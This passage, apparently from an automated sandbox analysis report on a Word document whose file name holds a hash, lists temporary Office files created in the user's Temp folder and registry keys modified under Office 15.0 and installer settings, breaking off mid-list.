  1234. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA8F9.tmp\\Frame.thmx",
  1235. "C:\\Users\\user\\AppData\\Local\\Temp\\cab902A.tmp",
  1236. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0CC.tmp",
  1237. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB11B.tmp",
  1238. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDA74A.tmp\\Headlines.thmx",
  1239. "C:\\Users\\user\\AppData\\Local\\Temp\\cab98DB.tmp",
  1240. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0BB.tmp",
  1241. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB16C.tmp",
  1242. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAA54.tmp\\gostname.xsl",
  1243. "C:\\Users\\user\\AppData\\Local\\Temp\\cab910B.tmp",
  1244. "C:\\Users\\user\\AppData\\Local\\Temp\\CabAE36.tmp",
  1245. "C:\\Users\\user\\AppData\\Local\\Temp\\TarAE37.tmp",
  1246. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB41.tmp\\Droplet.thmx",
  1247. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0CA.tmp",
  1248. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAB93.tmp\\Badge.thmx",
  1249. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB12C.tmp",
  1250. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB2CB.tmp",
  1251. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB359.tmp",
  1252. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB14C.tmp",
  1253. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA03C.tmp",
  1254. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB445.tmp",
  1255. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB26B.tmp",
  1256. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB26C.tmp",
  1257. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0CC.tmp\\ieee2006officeonline.xsl",
  1258. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB434.tmp",
  1259. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB1EC.tmp",
  1260. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4B4.tmp",
  1261. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB475.tmp",
  1262. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB1ED.tmp",
  1263. "C:\\Users\\user\\AppData\\Local\\Temp\\CabB1BB.tmp",
  1264. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB532.tmp",
  1265. "C:\\Users\\user\\AppData\\Local\\Temp\\TarB1DC.tmp",
  1266. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F56.tmp",
  1267. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAFBF.tmp\\Text Sidebar (Annual Report Red and Black design).docx",
  1268. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D76.tmp",
  1269. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB572.tmp",
  1270. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB592.tmp",
  1271. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDAF70.tmp\\chicago.xsl",
  1272. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D65.tmp",
  1273. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5F1.tmp",
  1274. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB640.tmp",
  1275. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB2CB.tmp\\Equations.dotx",
  1276. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D66.tmp",
  1277. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB532.tmp\\RadialPictureList.glox",
  1278. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB5F1.tmp\\architecture.glox",
  1279. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8ED0.tmp",
  1280. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F14.tmp",
  1281. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB572.tmp\\Main_Event.thmx",
  1282. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA81A.tmp",
  1283. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB16C.tmp\\Circuit.thmx",
  1284. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB434.tmp\\Crop.thmx",
  1285. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA0BA.tmp",
  1286. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA2D8.tmp",
  1287. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB445.tmp\\Mesh.thmx",
  1288. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB11B.tmp\\Slate.thmx",
  1289. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB592.tmp\\BracketList.glox",
  1290. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA75C.tmp",
  1291. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB359.tmp\\mlaseventheditionofficeonline.xsl",
  1292. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA215.tmp",
  1293. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EF1.tmp",
  1294. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8D54.tmp",
  1295. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE5.tmp",
  1296. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB0BB.tmp\\iso690.xsl",
  1297. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB475.tmp\\Feathered.thmx",
  1298. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE6.tmp",
  1299. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB25.tmp",
  1300. "C:\\Users\\user\\AppData\\Local\\Temp\\cab904A.tmp",
  1301. "C:\\Users\\user\\AppData\\Local\\Temp\\cabA81B.tmp",
  1302. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB94.tmp",
  1303. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp",
  1304. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB4B4.tmp\\Wood_Type.thmx",
  1305. "C:\\Users\\user\\AppData\\Local\\Temp\\cab9374.tmp",
  1306. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB65.tmp\\iso690nmerical.xsl",
  1307. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F45.tmp",
  1308. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD3D.tmp",
  1309. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD4E.tmp",
  1310. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB25.tmp\\Metropolitan.thmx",
  1311. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD5F.tmp",
  1312. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp",
  1313. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE5.tmp\\Element design set.dotx",
  1314. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBAE6.tmp\\View.thmx",
  1315. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBE.tmp",
  1316. "C:\\Users\\user\\AppData\\Local\\Temp\\cab914C.tmp",
  1317. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBF.tmp",
  1318. "C:\\Users\\user\\AppData\\Local\\Temp\\cab925A.tmp",
  1319. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE0E.tmp",
  1320. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDB640.tmp\\Damask.thmx",
  1321. "C:\\Users\\user\\AppData\\Local\\Temp\\cabAFE0.tmp",
  1322. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE8C.tmp",
  1323. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE9D.tmp",
  1324. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD3D.tmp\\ThemePictureGrid.glox",
  1325. "C:\\Users\\user\\AppData\\Local\\Temp\\cab90FA.tmp",
  1326. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBB94.tmp\\sist02.xsl",
  1327. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F12.tmp",
  1328. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD4E.tmp\\VaryingWidthList.glox",
  1329. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F67.tmp",
  1330. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD5F.tmp\\ThemePictureAlternatingAccent.glox",
  1331. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FDA.tmp",
  1332. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFF6.tmp",
  1333. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBD7F.tmp\\harvardanglia2008officeonline.xsl",
  1334. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBF.tmp\\HexagonRadial.glox",
  1335. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FA7.tmp",
  1336. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC074.tmp",
  1337. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8FC9.tmp",
  1338. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBDBE.tmp\\Banded.thmx",
  1339. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE9D.tmp\\ConvergingText.glox",
  1340. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8F25.tmp",
  1341. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE0E.tmp\\Basis.thmx",
  1342. "C:\\Users\\user\\AppData\\Local\\Temp\\cab951C.tmp",
  1343. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBFF6.tmp\\rings.glox",
  1344. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC15F.tmp",
  1345. "C:\\Users\\user\\AppData\\Local\\Temp\\cab917C.tmp",
  1346. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDBE8C.tmp\\PictureFrame.glox",
  1347. "C:\\Users\\user\\AppData\\Local\\Temp\\cab8EE1.tmp",
  1348. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC074.tmp\\Vapor_Trail.thmx",
  1349. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBCCF.tmp",
  1350. "C:\\Users\\user\\AppData\\Local\\Temp\\TCDC15F.tmp\\Insight design set.dotx",
  1351. "C:\\Users\\user\\AppData\\Local\\Temp\\cabBBB5.tmp",
  1352. "C:\\Users\\user\\AppData\\Local\\Temp\\~WRL0003.tmp",
  1353. "C:\\Users\\user\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRSE0CA3236-9198-4496-9405-5C3B9C981FC5.tmp",
  1354. "C:\\Users\\user\\AppData\\Local\\Temp\\~$F_a2c666fa5a13c744ad2c859e8874eb1b.doc"
  1355.  
  1356.  
  1357. * Modified Registry Keys:
  1358. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\StartupItems\\z:|",
  1359. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
  1360. "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\@%SystemRoot%\\system32\\packager.dll,-2000",
  1361. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingConfigurableSettings",
  1362. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastSyncTime",
  1363. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Roaming\\RoamingLastWriteTime",
  1364. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\GraphicsFiltersPNGFilesIntl_1033",
  1365. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1366. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle",
  1367. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ReviewCycle\\ReviewToken",
  1368. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\CacheReady",
  1369. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastRequest",
  1370. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109E60090400000000000F01FEC\\Usage\\ProductNonBootFilesIntl_1033",
  1371. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\Common\\Cloud Storage",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ForceCacheRefresh",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OnceSucceeded",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\LastUpdate",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\NextUpdate",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Capabilities",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ConnectMechanism",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsManaged",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\IsRemovable",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceOwner",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SortOrder",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\SupportsMultiple",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\CapabilitiesMetadata",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Description",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Name",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceId",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\ServiceUrl",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\KeyTip",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Metadata\\Type",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url16x16",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url32x32",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINT\\Thumbnails\\Url48x48",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Capabilities",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ConnectMechanism",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsManaged",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\IsRemovable",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceOwner",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SortOrder",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\SupportsMultiple",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Description",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Name",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceId",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\ServiceUrl",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Metadata\\Type",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365MOUNTED_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Capabilities",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ConnectMechanism",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsManaged",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\IsRemovable",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceOwner",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
